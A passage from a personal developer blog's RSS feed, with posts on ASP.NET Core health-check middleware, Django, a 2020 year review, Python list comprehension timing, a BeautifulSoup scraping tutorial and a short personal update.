src="https://urlscan.io/img/urlscan_256.png" alt="How to avoid Phishing Attacks"></div></a></figure><p>You can use the above websites to scan URLs for malicious behavior. </p>]]></content:encoded></item><item><title><![CDATA[Implement Health Check Middleware on Asp.NET Core 3.1 Web App]]></title><description><![CDATA[Implementing Health Check middleware on Asp.NET Core 3.1 with ease and wizz.]]></description><link>https://blog.aruham.dev/health-check-middleware-on-asp-net-core/</link><guid isPermaLink="false">609664334d2e0911edda88ed</guid><category><![CDATA[Tutorials]]></category><category><![CDATA[Asp.NET Core]]></category><category><![CDATA[Web Development]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Sat, 08 May 2021 11:55:32 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1576091160550-2173dba999ef?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDN8fGhlYWx0aCUyMGNoZWNrfGVufDB8fHx8MTYyMDQ3MjI0Mw&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1576091160550-2173dba999ef?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDN8fGhlYWx0aCUyMGNoZWNrfGVufDB8fHx8MTYyMDQ3MjI0Mw&ixlib=rb-1.2.1&q=80&w=2000" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App"><p>Health Checks are usually implemented by pinging resources to check if it is available, up and running. This is very important for applications with databases, microservices and APIs to ensure their availability. </p><p>In Asp.NET Core, Health Checks are provided as a middleware package. You can easily implement and check the status of your resources from an HTTP endpoint or even a beautiful UI. So how do you implement this?</p><!--kg-card-begin: markdown--><p>Nuget Packages<br>
<code>Install-Package Microsoft.Extensions.Diagnostics.HealthChecks -Version 3.1.4</code><br>
<code>Install-Package Microsoft.Extensions.Diagnostics.HealthChecks.EntityFrameworkCore -Version 3.1.13</code><br>
<code>Install-Package AspNetCore.HealthChecks.SqlServer -Version 3.2.0</code><br>
<code>Install-Package AspNetCore.HealthChecks.UI -Version 3.1.3</code><br>
<code>Install-Package AspNetCore.HealthChecks.UI.Client -Version 3.1.2</code><br>
<code>Install-Package AspNetCore.HealthChecks.UI.InMemory.Storage -Version 3.1.2</code></p>
<!--kg-card-end: markdown--><p>Yes I know that's a lot of packages but we don't have to do much with these. Install them and let's start with <strong>Startup.cs</strong></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2021/05/carbon--2-.png" class="kg-image" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App" srcset="https://blog.aruham.dev/content/images/size/w600/2021/05/carbon--2-.png 600w, https://blog.aruham.dev/content/images/size/w1000/2021/05/carbon--2-.png 1000w, https://blog.aruham.dev/content/images/2021/05/carbon--2-.png 1524w" sizes="(min-width: 720px) 720px"><figcaption>Configure services for Health Check</figcaption></figure><p>Here we add the HealthChecks middleware and implement checks for both the SQL server and DB Context. There is a lot more health checks available for easy implementation. You can find a list of those and related Nugets on Xabaril's Github <a href="https://github.com/Xabaril/AspNetCore.Diagnostics.HealthChecks/blob/netcore-3.1/README.md#health-checks">here</a>.</p><p>In the configure services, we also configure the UI for the Health Checks and add an in memory storage for it. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2021/05/carbon--4-.png" class="kg-image" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App" srcset="https://blog.aruham.dev/content/images/size/w600/2021/05/carbon--4-.png 600w, https://blog.aruham.dev/content/images/size/w1000/2021/05/carbon--4-.png 1000w, https://blog.aruham.dev/content/images/size/w1600/2021/05/carbon--4-.png 1600w, https://blog.aruham.dev/content/images/size/w2400/2021/05/carbon--4-.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>Configure method</figcaption></figure><p>In the Configure method, we implement the routes for health checker, the UI and it's API. We also set a clean response using the UI.Client package installed. </p><p>What's next? Let's configure some custom css for the UI. </p><figure class="kg-card kg-image-card"><img src="https://blog.aruham.dev/content/images/2021/05/carbon--5-.png" class="kg-image" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App" srcset="https://blog.aruham.dev/content/images/size/w600/2021/05/carbon--5-.png 600w, https://blog.aruham.dev/content/images/size/w1000/2021/05/carbon--5-.png 1000w, https://blog.aruham.dev/content/images/size/w1600/2021/05/carbon--5-.png 1600w, https://blog.aruham.dev/content/images/size/w2400/2021/05/carbon--5-.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>In the same configure method, we setup our custom style sheet. More on custom styling the UI is <a href="https://github.com/Xabaril/AspNetCore.Diagnostics.HealthChecks/blob/netcore-3.1/doc/styles-branding.md">here</a>. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2021/05/carbon--7-.png" class="kg-image" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App" srcset="https://blog.aruham.dev/content/images/size/w600/2021/05/carbon--7-.png 600w, https://blog.aruham.dev/content/images/size/w1000/2021/05/carbon--7-.png 1000w, https://blog.aruham.dev/content/images/size/w1600/2021/05/carbon--7-.png 1600w, https://blog.aruham.dev/content/images/2021/05/carbon--7-.png 2068w" sizes="(min-width: 720px) 720px"><figcaption>Sample stylesheet for the UI</figcaption></figure><p>Now comes the final step of the implementation and that happens in <strong>appsettings.json</strong></p><figure class="kg-card kg-image-card"><img src="https://blog.aruham.dev/content/images/2021/05/carbon--9-.png" class="kg-image" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App" srcset="https://blog.aruham.dev/content/images/size/w600/2021/05/carbon--9-.png 600w, https://blog.aruham.dev/content/images/size/w1000/2021/05/carbon--9-.png 1000w, https://blog.aruham.dev/content/images/size/w1600/2021/05/carbon--9-.png 1600w, https://blog.aruham.dev/content/images/2021/05/carbon--9-.png 2168w" sizes="(min-width: 720px) 720px"></figure><p>Here you can set webhooks for services such as Slack, Teams and others to notify you about the degraded services and resources. More on that is <a href="https://github.com/Xabaril/AspNetCore.Diagnostics.HealthChecks/blob/master/doc/webhooks.md">here</a>.</p><p>Once you are done implementing the middleware, you can explore:</p><ol><li>HealthCheck endpoint response</li></ol><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2021/05/image.png" class="kg-image" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App"><figcaption>HealthCheck endpoint</figcaption></figure><p>2. Health Checks UI</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2021/05/image-1.png" class="kg-image" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App" srcset="https://blog.aruham.dev/content/images/size/w600/2021/05/image-1.png 600w, https://blog.aruham.dev/content/images/size/w1000/2021/05/image-1.png 1000w, https://blog.aruham.dev/content/images/size/w1600/2021/05/image-1.png 1600w, https://blog.aruham.dev/content/images/2021/05/image-1.png 1920w" sizes="(min-width: 720px) 720px"><figcaption>Health Check UI</figcaption></figure><p>3. Health Checks UI API</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2021/05/image-2.png" class="kg-image" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App" srcset="https://blog.aruham.dev/content/images/size/w600/2021/05/image-2.png 600w, https://blog.aruham.dev/content/images/2021/05/image-2.png 639w"><figcaption>HealthCheck UI API</figcaption></figure><p>And now you have a fully working health checker for your application. You can explore and implement more health checks explained in detail <a href="https://github.com/Xabaril/AspNetCore.Diagnostics.HealthChecks">here</a>. Below is the Gist with the code for<strong> Startup.cs</strong> and <strong>appsettings.json</strong> as well. </p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://gist.github.com/phoenixatom/45a8c19909c1f6629cad453243349570"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Startup.cs for ASP.NET Core 3.1 Implementing Health Checks</div><div class="kg-bookmark-description">Startup.cs for ASP.NET Core 3.1 Implementing Health Checks - appsettings.json</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/favicons/favicon.svg" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App"><span class="kg-bookmark-author">Gist</span><span class="kg-bookmark-publisher">262588213843476</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://github.githubassets.com/images/modules/gists/gist-og-image.png" alt="Implement Health Check Middleware on Asp.NET Core 3.1 Web App"></div></a></figure><p>Feel free to reach out to me on <a href="https://t.me/PhoenixAtom">Telegram </a>if you have any doubts!</p>]]></content:encoded></item><item><title><![CDATA[Why Django?]]></title><description><![CDATA[Might be my new passion]]></description><link>https://blog.aruham.dev/why-django/</link><guid isPermaLink="false">60508f894d2e0911edda8789</guid><category><![CDATA[Blog]]></category><category><![CDATA[Django]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Tue, 16 Mar 2021 12:18:27 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1593642634443-44adaa06623a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wxfDF8YWxsfDZ8fHx8fHwyfHwxNjE1ODk2MjYz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h3 id="what-is-django">What is Django?</h3><img src="https://images.unsplash.com/photo-1593642634443-44adaa06623a?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wxfDF8YWxsfDZ8fHx8fHwyfHwxNjE1ODk2MjYz&ixlib=rb-1.2.1&q=80&w=2000" alt="Why Django?"><p>Django is a web application framework written in Python that follows MVT (Model-View-Template) concept used for rapid development of secure, clean and pragmatic websites. Django was initially released 15 years ago in 2005 and is developed and maintained by the Django Foundation. </p><p>Disqus, Instagram, Prezi, Bitbucket, Mozilla and many other well known applications and website use Django for their development needs. </p><h3 id="why">Why?</h3><p>As a beginner to web applications, Django is a good place to start. It implements the basics of web application development, object oriented programming and concepts such as MVT. So Django can help you learn a lot of the <strong>ideal practices and best practices</strong>. </p><p>Django follows <strong>DRY </strong>(Don't Repeat Yourself) principle. Existing code can be reused and you don't have to rewrite things such as validation for each route but implement it in the Model itself. Hence, fast and rapid development. </p><p>Since Django is a Python framework, it is quite <strong>easy to use</strong>. Python syntax is convenient, simple and easy to understand even for beginners. Even with steep learning curve, Django is quite easy to use. </p><p>Django comes with an <strong>admin panel </strong>out of the box.  Not just admin panel but the whole authentication, roles and permission module. Django Admin panel is easy to customize or can be used as is in projects.</p><p><strong>ORM</strong>! A fully functional Object-Relational-Mapper comes with Django. Django ORM is one of the best built ORMs even when compared to the likes of Eloquent and Yii AR. The ORM also helps you to just switch out to another database by changing just a few lines of code.</p><p>Django by default enables several security features to protect your application against attacks such as cross-site scripting and SQL injection. The developers don't need to write more code to implement these security features. </p><p>As all other major frameworks, Django also come with <strong>libraries </strong>that help implement things such as social logins, API, CMS and many other. Django is also <strong>pluggable </strong>with thousands of packages built specifically for Django to implement tools and reusable apps. You can check some of them <a href="https://djangopackages.org/">here</a>. </p><p>With all these awesome features and components in Django, there is no reason not to choose Django for your web applications. The Django <strong>community </strong>is huge and very <strong>helpful</strong>. Django is growing rapidly in terms of users and the code base itself with improvements everyday. </p><h3 id="starting-with-django">Starting with Django?</h3><p>The prerequisites to learning Django are basic knowledge in <strong>Python </strong>and Object Oriented Programming (<strong>OOP</strong>). So it is pretty easy to start coding in Django if you have dabbled in OOP before. </p><p>Listed below are some resources that can be utilized for your adventure with Django.</p><ol><li>Corey Schafer's Django Tutorial Series on <a href="https://www.youtube.com/playlist?list=PL-osiE80TeTtoQCKZ03TU5fNfx2UY6U4p">Youtube</a>.</li><li>Django Girls <a href="https://tutorial.djangogirls.org/en/">Tutorial</a>. </li><li><a href="https://djangobook.com/build-a-website-with-django-2/">The Django <a href="https://djangobook.com/build-a-website-with-django-2/">Book</a>.</a></li><li>Coding Entrepreneurs' TweetMe2 Series on <a href="https://www.youtube.com/watch?v=f1R_bykXHGE">Youtube</a> (<strong>Highly recommended</strong>).</li><li>Jose Portilla's Python and Django Full Stack Web Developer Bootcamp Course on <a href="https://www.udemy.com/course/python-and-django-full-stack-web-developer-bootcamp/">Udemy</a>. </li><li>Traversy Media's Python Django Crash Course on <a href="https://www.youtube.com/watch?v=e1IyzVyrLSU">Youtube</a>.</li></ol><p>You can find a lot of free courses related to Django on Udemy. </p><p>Start your adventure on Django now! The learning curve is a bit steep for Django due to the implementation of  MVT concept and having a custom ORM unlike frameworks such as Flask.</p>]]></content:encoded></item><item><title><![CDATA[Year in a Post (2020)]]></title><description><![CDATA[2020, A wild adventure]]></description><link>https://blog.aruham.dev/year-in-a-post-2020/</link><guid isPermaLink="false">6043945046649e0facf20ebc</guid><category><![CDATA[Year End]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Sun, 03 Jan 2021 11:22:43 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1604440977273-f22b2fa6ea5b?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MXwxMTc3M3wwfDF8c2VhcmNofDF8fDIwMjB8ZW58MHx8fA&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1604440977273-f22b2fa6ea5b?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MXwxMTc3M3wwfDF8c2VhcmNofDF8fDIwMjB8ZW58MHx8fA&ixlib=rb-1.2.1&q=80&w=1080" alt="Year in a Post (2020)"><p>Since everyone with a blog is obligated to write this, I guess I'll do my due diligence as well.</p><p>My year wasn't that bad. Now don't get me wrong, lot's of bad things happened to lots of good people this year. I'm going to skip listing those because that might take a while. But you all know the almost World War 3, COVID-19, hundreds of thousands of deaths and many more tragic things that happened. </p><p>I was in Malaysia when the year began and came to Maldives in February for year end break. Little did I know that I would be "stuck" here for the whole year.</p><p>First year of University ended pretty good. I got my expected results and was looking forward to the second year. My second year got delayed much further and several of my friends deferred hoping to come back to campus before August. However, we all ended up with online classes. I don't really have a problem with online classes. However, my internet does. I ended up getting a seperate modem for studying cause the ADSL connection in my sister's house in Hulhumale' wasn't really helping. Having to download VMWare Images and Visual Studio development stacks didn't help at all. The Ooredoo Faseyha broadband modem was able to handle all my needs including gaming.</p><p>Ramadan went by quickly and I decided it was time to move to Addu. Despite all my hopes of returning to Malaysia before August, it was starting to seem like that wasn't to happen anytime soon. With my move to Addu, I was quarantined in my room for 14 days before being able to go out. The internet here in Addu was bearable. I had a Dhiraagu Fiber connection all to myself.  Ofcourse, the allowance for the month ran out as I was still attending online classes, downloading all sorts of software and tools.</p><p>The year has been quite a learning curve. From R programming to Java, I've learned a lot during the year. I finished several online courses during my quarantine at Hulhumale' as well. On my own, I've learned some new libraries such as aiohttp, django, celery, cv2, pyzbar, fastAPI in Python. I'm also mastering my ethical hacking knowledge with penetration and forensic investigation tools.</p><p>Baivaru had a fantastic year accomplishing it's goal of automation. Almost everything was automated including, movies, series and songs. Books is on the verge of being automated and a new major proiect was started by our team. I cannot discuss much into that as it's still in beta stage.</p><p>I made my first pip package this year (<a href="https://github.com/phoenixatom/dhivatars">Dhivatar</a>), which was then further developed into a <a href="https://github.com/baivaru/dhivatar-http">service</a> via API by <a href="https://blog.athfan.com">Athfan</a>. I also learned FastAPI and developed a few APIs using our databases. We have a few Dhivehi related databases and we plan on making them all available to the public via our APIs.</p><p>This year, the only game I really played was Counter Strike Global Offensive. I've ranked up from Silver to Gold Nova 3. Not really the best at the game but it's fun to play with the community of idiots (what they call themselves) who are usually 2 hours late to the party.</p><p>All in all, it's wasn't really a bad year for me. Coming to Addu has allowed me to be a bit more at ease than I was when in the heavily restricted Male' area. I hang out very often (according to me) with my friends here in Addu and try to be more social.</p><p>Although it wasn't a bad year, there were some trying times during the year. I wouldn't have been really able to get through those without my person. Thank you for being there throughout the year love ❤️. </p><p>Looking forward to another year of learning, growing, failing and trying. Thank you for reading my year in a review. I tried to include everything but might have missed some important things. Hope your 2021 starts off well!</p>]]></content:encoded></item><item><title><![CDATA[For Loop to List Comprehension]]></title><description><![CDATA[A bunch of lists, which one is faster?]]></description><link>https://blog.aruham.dev/for-loop-or-list-comprehension/</link><guid isPermaLink="false">6043945046649e0facf20eba</guid><category><![CDATA[Blog]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Thu, 18 Jun 2020 16:19:32 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1484480974693-6ca0a78fb36b?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1484480974693-6ca0a78fb36b?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ" alt="For Loop to List Comprehension"><p>Last night a friend of mine sent a snippet he quickly wrote for his class to avoid using calculator and doing individual calculations. My first thought when I saw the script was:  "Why are you using for loops? What's going on with that f statement? Maybe it will be faster if list comprehension was used?" </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2020/06/image-1.png" class="kg-image" alt="For Loop to List Comprehension"><figcaption>Code that uses for loop</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2020/06/image.png" class="kg-image" alt="For Loop to List Comprehension"><figcaption>My initial comments</figcaption></figure><p>Mind you, the guy knows his Python. One of the best coders I know. He was just in a hurry to finish it quickly and didn't bother making it complicated.</p><h3 id="what-actually-is-list-comprehension-and-why-is-it-better-than-for-loops">What actually is list comprehension? And why is it better than for loops?</h3><p>To answer that question, lets look at two snippets of code. A for loop and a list comprehension. </p><pre><code>values = [12, 13, 56, 54, 56]

#for loop
fitness = []

for x in values:
        fitness.append(((15 * x) - x ** 2))

#list comprehension
fitness = [((15*x) - (x **2)) for x in values]</code></pre><p>As per <a href="https://www.programiz.com/python-programming/list-comprehension">Programmiz</a>, List comprehension is an elegant way to define and create lists based on existing lists. I am satisfied with that definition so let's move on. <br><br>Let's look at the differences. The for loop code is much lengthier than the list comprehension. The second thing is each of the time the for loop is called here, the list needs to be appended. It takes a while to lookup and the load the append function and the for loop has to do that with every single iteration. But will this really affect it's performance? We'll see.</p><p>So today, I went ahead and changed his code to use list comprehensions. Here is my code. </p><pre><code>values = [12, 4, 1, 14, 7, 9]

fitness = [((15*x) - x **2) for x in values]

total_fitness = sum(fitness)

fitness_ratios = [(x/total_fitness) * 100 for x in fitness]

for i, (v, f, ft) in enumerate(zip(values, fitness, fitness_ratios), start=1):
    print(f"{i} = {v}, {f}, {ft}")</code></pre><p><strong>Disclaimer:</strong> The article gets boring from here on out. It's mostly running some tests and me being unhappy about the results.<br><br>After writing this  I decided to test it's performance. Now what I tried at first was overkill probably. I tried to crunch 2 billion numbers. By setting the value to a range from 1 to 2 billion. Go big or go home?</p><p>That didn't work very well. After a few minutes of running, I ended up with a MemoryError. So I decided to remove the print statements from the snippets, make them into functions and return the <code>fitness</code> and <code>fitness_ratios</code> values instead.</p><pre><code>import time

start = time.time()

#CODE GOES HERE

end = time.time()
print(end - start)</code></pre><p>This time I tried will 1 billion numbers. The for loop when running was using about +/- 10GB. Yeah you read that right! TEN. Talk about inefficient code? I was pretty sure mine wouldn't hit that.</p><p>Boy, was I wrong. Mine started at +/- 4GB but pretty quickly went upto 8GB and even 10 at some point. Now the big question is did it take more time? Well, technically it didn't. But I am not at all satisfied with the results. So I changed it up a bit and removed everything that was unnecessary, made the values outside the functions and used 10,000 numbers. I ended up with the following:<br><br>For Loop: 9.643182277679443 seconds<br>List Comprehenion: 8.324370861053467 seconds</p><p>Now I still believe that this data is wrong and decided to spin up Jupyter to timeit the code. Below are the results.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2020/06/image-2.png" class="kg-image" alt="For Loop to List Comprehension"><figcaption>List comprehension</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2020/06/image-3.png" class="kg-image" alt="For Loop to List Comprehension"><figcaption>For Loop</figcaption></figure><p>In conclusion, maybe I am doing this wrong or the code still can be optimized. Or maybe the list comprehension is not as fast as I thought. But it is definitely more elegant than a for loop. I would definitely choose lambdas and list comprehensions over a for loop any day.</p><p>Note: The above code is a part implementation of a genetic algorithm. Normally, packages like numpy are used for crunching billions of numbers as the inbuilt functions are more suitable for such implementations.</p>]]></content:encoded></item><item><title><![CDATA[Web Scraping 101 with BS4]]></title><description><![CDATA[Scraping with soup]]></description><link>https://blog.aruham.dev/web-scraping-101-with-bs4/</link><guid isPermaLink="false">6043945046649e0facf20eb9</guid><category><![CDATA[Python]]></category><category><![CDATA[Tutorials]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Sun, 31 May 2020 22:08:18 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1470324161839-ce2bb6fa6bc3?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1470324161839-ce2bb6fa6bc3?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Web Scraping 101 with BS4"><p>I am going to teach you some simple web scraping. This isn't rocket science and if you know basic python it's going to be very easy to follow along. <br><br>For this tutorial, I am going to be scraping the Coronavirus statistics bar on top of popular news website <a href="https://mihaaru.com">Mihaaru</a>. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2020/05/image.png" class="kg-image" alt="Web Scraping 101 with BS4"><figcaption>The Coronavirus statistic bar</figcaption></figure><p>We will be using:<br>1) Google Chrome<br>2) Python 3</p><!--kg-card-begin: markdown--><p>The packages we will be using are:</p>
<p>bs4 - <code>pip install bs4</code><br>
requests - <code>pip install requests</code><br>
lxml - <code>pip install lxml</code></p>
<!--kg-card-end: markdown--><p>The requests package will be used to get the whole website html. BeautifulSoup in bs4 will be used to parse the html. We will use the parsed html object to find specific items and their text values. </p><p>To scrape the top bar, first we need to find div or container that it is in. By using a browser, in our case, Google Chrome, I inspect the text we are going to scrape. </p><p>We end up with something like below. A list inside a div which has a class of <code>coronavirus-special-coverage-item</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.aruham.dev/content/images/2020/05/image-1.png" class="kg-image" alt="Web Scraping 101 with BS4"></figure><p>Now by looking at the html, we have figured out some important things:<br>1) This is the second div with the same class name<br>2) All the details are inside <code>&lt;li&gt;</code> tags<br>3) The details are inside <code>&lt;span&gt;</code> and classes are <code>number</code> and <code>clabel</code></p><p>That is all the information we need to write the script. So I'll go ahead and write the script for you.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2020/05/carbon--7-.png" class="kg-image" alt="Web Scraping 101 with BS4"><figcaption>The code and result</figcaption></figure><p>The code looks a bit heavy due to the comments, but if you read carefully you should be able to follow what I am doing there.<br><br>Code snippet/Gist can be found <a href="https://gist.github.com/phoenixatom/de2a51b3b4c6aed4fd351774147ae43a">here</a>.<br>Repl.it for the code can be found <a href="https://repl.it/repls/SpotlessLavenderVisitor">here</a>. I used <code>html.parser</code> here instead of <code>lxml</code> but it shouldn't make a difference. <br><br>And if you need any help with scraping or running this, do contact me via Telegram on <a href="https://baiva.ru/btt">Baivaru Tech Tips</a></p>]]></content:encoded></item><item><title><![CDATA[Growth]]></title><description><![CDATA[<p>The past few months have been a bit challenging but I have overcome most of those and moved forward. </p><p>Currently stuck (might not be right word) in Maldives due to country and border lockdowns. As the lockdown eases there is some hope but not much of returning back to normal</p>]]></description><link>https://blog.aruham.dev/growth/</link><guid isPermaLink="false">6043945046649e0facf20eb8</guid><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Sun, 31 May 2020 19:17:54 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1590854690674-bdc3ca63585b?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1590854690674-bdc3ca63585b?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Growth"><p>The past few months have been a bit challenging but I have overcome most of those and moved forward. </p><p>Currently stuck (might not be right word) in Maldives due to country and border lockdowns. As the lockdown eases there is some hope but not much of returning back to normal studies any time soon. I am starting online classes and that will be another challenge to overcome here in Maldives.<br><br>Lack of a proper work station and stable internet connection has stopped me from coding or starting a new project. Although, I have finished some work here and there and have been more focused on writing simple plugins for Athfan's <a href="https://baiva.ru/userbot">userbot</a>. I've contributed to Baivaru bots as well be reworking the request system and the inline bots used to request both media and songs. Here and there helping out with some wood work projects with my brother-in-laws as well. <br><br>With my Year 2 commencing in a week, I've a lot of work to do. It's going to be a challenging year as I am diving into my specialism (Information System Security) this year and the modules will be more focused on that. <br><br>I've had some personal growth during the past few months as well. Thank you for those who stood by me through everything. You are the most important!</p><p>I could go on and ramble about my life but that won't be very interesting. This is just another article to make my blog look more legit (lol, fr). If you have got this far, stay safe and take care! <br><br>On to the next post. Might be an interesting tutorial?</p>]]></content:encoded></item></channel></rss>